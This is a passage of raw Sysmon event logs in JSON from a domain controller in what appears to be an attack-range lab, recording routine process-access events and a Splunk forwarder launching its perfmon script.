11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.422\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE9-5F2D-0000-001066550300}\r\nTargetProcessId: 3584\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.422","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE9-5F2D-0000-001066550300}","TargetProcessId":"3584","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.533\r\nProcessGuid: {90617006-3FE9-5F2D-0000-001091570300}\r\nProcessId: 3820\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.533","ProcessGuid":"{90617006-3FE9-5F2D-0000-001091570300}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\perfmon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001057CC0200}\r\nTargetProcessId: 3820\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001057CC0200}","TargetProcessId":"3820","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2084,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2085,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:01.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2086,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:01.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 